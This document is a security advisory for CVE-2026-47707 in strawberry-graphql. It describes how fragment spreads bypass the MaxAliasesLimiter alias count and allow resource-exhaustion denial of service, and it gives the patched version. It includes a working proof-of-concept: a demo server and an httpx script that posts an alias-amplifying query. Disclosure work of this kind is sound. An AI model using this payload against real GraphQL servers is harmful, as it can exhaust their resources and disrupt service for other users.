---
id: CVE-2026-47707
aliases:
  - GHSA-fr49-mhgj-crfc
  - PYSEC-2026-2284
title: >-
  Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading
  to GraphQL Alias Amplification
summary: >-
  Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading
  to GraphQL Alias Amplification
severity: medium
cvss: 5.3
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'
vendor: strawberry-graphql
product: strawberry-graphql
ecosystem: pip
affected:
  - 'strawberry-graphql >= 0.172.0, < 0.315.7'
patched:
  - strawberry-graphql 0.315.7
published: '2026-06-04'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-fr49-mhgj-crfc'
references:
  - url: >-
      https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-fr49-mhgj-crfc
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-47707'
  - url: 'https://github.com/strawberry-graphql/strawberry'
  - url: 'https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7'
tags:
  - osv
  - pip
epss: 0.00466
epssPercentile: 0.3955
ingestedAt: '2026-07-13T18:57:57.827Z'
---

## Overview

### Summary
The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a  dos via resource exhaustion.

### Details
The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach
```
for selection in selection_set_owner.selection_set.selections: 
    if isinstance(selection, FieldNode) and selection.alias:
        result += 1

    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
        result += count_fields_with_alias(selection)
```

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

**Total Aliases = query aliases + (num of spreads * aliases within fragment)**

Because Strawberry only performs a static sum of the text, it misses this multiplication

### PoC
**server code**
```
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Limit is set to 20 aliases
schema = strawberry.Schema(
    query=Query, 
    extensions=[MaxAliasesLimiter(max_alias_count=20)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
```

**payloads**
```
import httpx

payload = {
    "query": """
        fragment Amplification on User {
            a1: name, a2: name, a3: name, a4: name, a5: name,
            a6: name, a7: name, a8: name, a9: name, a10: name
        }
        query Bypass {
            u1: user { ...Amplification }
            u2: user { ...Amplification }
            u3: user { ...Amplification }
            u4: user { ...Amplification }
            u5: user { ...Amplification }
            u6: user { ...Amplification }
            u7: user { ...Amplification }
            u8: user { ...Amplification }
            u9: user { ...Amplification }
            u10: user { ...Amplification }
        }
    """
}

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())
```

### Impact
An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory

## Affected packages

- `strawberry-graphql >= 0.172.0, < 0.315.7`

## Remediation

Upgrade to a patched release:

- `strawberry-graphql 0.315.7`